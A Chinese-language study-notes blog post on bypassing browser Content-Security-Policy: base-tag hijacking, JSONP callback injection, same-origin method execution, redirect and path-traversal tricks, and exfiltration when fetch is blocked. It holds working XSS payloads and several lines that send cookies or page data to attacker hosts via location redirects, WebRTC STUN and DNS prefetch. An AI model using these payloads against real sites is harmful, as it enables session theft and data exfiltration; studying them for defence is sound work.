0%

前端安全6-CSP绕过(笔记)

前言

绕过csp的一些方法

不安全的domain

有一些三方库存在0day

1
https://github.com/CanardMandarin/csp-bypass

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src https://unpkg.com/">
</head>
<body>
<div id=userContent>
<script src="https://unpkg.com/react@16.7.0/umd/react.production.min.js"></script>
<script src="https://unpkg.com/csp-bypass@1.0.2/dist/sval-classic.js"></script>
<br csp="alert(1)">
</div>
</body>
</html>

通过base标签绕过

假设加上了nonce,且无法被猜测

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'nonce-abc123';">
</head>
<body>
<div id=userContent>
<!-- xss -->
<script src="https://attacker.com/my.js"></script>
</div>
<script nonce=abc123 src="app.js"></script>
</body>
</html>

这样就会无法加载my.js
但是如果用下面的代码
1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'nonce-abc123';">
</head>
<body>
<div id=userContent>
<!-- xss -->
<base href="https://attacker.com/">
</div>
<script nonce=abc123 src="app.js"></script>
</body>
</html>

通过改变base,然后去加载攻击者的app.js
修复方法就是用上一章里面有的base-uri 'none'

JSONP绕过

JSONP

因为同源策略,如果想向其他网站取出数据,通过下面的代码是无法取出数据的

1
2
3
4
fetch('http://example.com/')
.then((response) => response.text())
.then((data) => btoa(data))
.then((data) => location.replace(`http://ATTACKER/?data=${data}`))


会爆出上面的错误,但是加载别人的js代码是没问题的
1
2
3
4
5
6
7
8
9
<?php
header('Content-type: application/json');
//获取回调函数名
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);
//json数据
$json_data = '["customername1","customername2"]';
//输出jsonp格式的数据
echo $jsoncallback . "(" . $json_data . ")";
?>

别人调用一个函数,函数名是你自己的请求的,然后你这边把函数设计一下就行了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP 实例</title>
</head>
<body>
<div id="divCustomers"></div>
<script type="text/javascript">
function callbackFunction(result, methodName)
{
var html = '<ul>';
for(var i = 0; i < result.length; i++)
{
html += '<li>' + result[i] + '</li>';
}
html += '</ul>';
document.getElementById('divCustomers').innerHTML = html;
}
</script>
<script type="text/javascript" src="https://www.runoob.com/try/ajax/jsonp.php?jsoncallback=callbackFunction"></script>
</body>
</html>

绕过

这段代码是我从runoob抄下来的,他加了个htmlspecialchars,但是并没有什么卵用,直接绕

1
<script type="text/javascript" src="https://www.runoob.com/try/ajax/jsonp.php?jsoncallback=alert(1);callbackFunction"></script>

有一个仓库收集了一些jsonp,可以被绕过
https://github.com/zigoo0/JSONBee

所以真正的过滤应该是,只允许a-zA-Z.这些字符
但是这样其实也有办法可以绕过
https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/
参考这个文章,如果某个按钮出现了问题,你可以通过获取他的元素,然后click()

1
2
3
4
5
6
7
8
9
<!DOCTYPE html>
<html>
<body>
<button id="a" onclick="alert(1)">点击弹窗</button>
<script>
document.body.firstElementChild.click()
</script>
</body>
</html>

如果是个jsonp,那么就是
https://www.runoob.com/try/ajax/jsonp.php?jsoncallback=document.body.firstElementChild.click

重定向绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost https://192.168.3.16/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://192.168.3.16/test"></script>
<script src="https://192.168.3.16/a/test"></script>
<script src="http://localhost/301.php"></script>
</div>
</body>
</html>

301.php

1
2
<?php
header('Location: http://192.168.3.16/test.js');

前两个因为csp策略被阻拦了,最后一个是一个允许的,并且是个重定向,但是只能重定向到csp规定的host,他只是不在看path了,但是host还是看的,如果是
1
2
<?php
header('Location: http://abc.com/test.js');

还是会被拦截

RPO绕过

如果CSP是允许https://example.com/script/abc/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://127.0.0.1/script/abc/">
<META HTTP-EQUIV="pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Cache-Control" CONTENT="no-cache, must-revalidate">
<META HTTP-EQUIV="expires" CONTENT="0">
</head>
<body>
<div id=userContent>
<script src="http://127.0.0.1/script/abc/..%2f..%2ftest.js"></script>
</div>
</body>
</html>

那么上面的代码就可以绕过,但是这是要取决于后端服务器的处理,nginx和nodejs是可以的,其他没测试过,到时候可以看看

通源类型的绕过

如果要获取http://127.0.0.1/ycb.php中的内容,但是ycb.php有csp保护,如下

1
2
3
4
<!-- A页面 -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

<h1 id="flag">flag{0xffff}</h1>

这时候该网站的另一个页面存在xss,并且没有CSP的保护(或者可以绕过),就可以通过很多方法去获得这个flag

  1. iframe

    1
    2
    3
    4
    5
    6
    7
    8
    <body>
    <script>
    var iframe = document.createElement('iframe');
    iframe.src="http://127.0.0.1/ycb.php";
    document.body.appendChild(iframe);
    setTimeout(()=>alert(iframe.contentWindow.document.getElementById('flag').innerHTML),1000);
    </script>
    </body>
  2. fetch

    1
    fetch('http://127.0.0.1/ycb.php').then((response) => response.text()).then((data)=>alert(data))
  3. window.open

    1
    2
    3
    4
    ycb = window.open('http://127.0.0.1/ycb.php')
    ycb.onload = function(){
    alert(ycb.document.getElementById('flag').innerText)
    };

其他种类的绕过

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'unsafe-inline';">
</head>
<body>
<script>
// any JavaScript code
</script>
</body>
</html>

因为default-src 'none'的原因,connect-src也被设为了'none',这时候就没法使用fetch了,那么还有什么办法

  1. 跳转

    1
    2
    window.location = 'https://127.0.0.1/?q=' + document.cookie //这种是在当前页面跳转
    window.open('https://127.0.0.1/?q=' + document.cookie) // 这种需要被攻击者确认弹窗,在UI模式下,headless不清楚
  2. WebRTC
    通过dns来获取数据

    1
    2
    3
    4
    5
    6
    7
    var p = new RTCPeerConnection({
    iceServers: [{
    urls: "stun:" + "7a04c2947c.ipv6.1433.eu.org:1337"
    }]
    });
    p.createDataChannel("d");
    p.setLocalDescription()
  3. DNS prefetch
    为了让加载速度更快,浏览器可以提前去解析一些标签的host为ip,但是只限于老版本的浏览器,现在新的已经不行了

    1
    2
    3
    4
    var sessionid = document.cookie.split('=')[1]+"."; 
    var body = document.getElementsByTagName('body')[0];
    body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

    1
    2
    3
    4
    5
    <!-- firefox -->
    <link rel="dns-prefetch" href="//${cookie}.vps_ip">

    <!-- chrome -->
    <link rel="prefetch" href="//vps_ip?${cookie}">

    可以加上这个header用来防御
    X-DNS-Prefetch-Control: off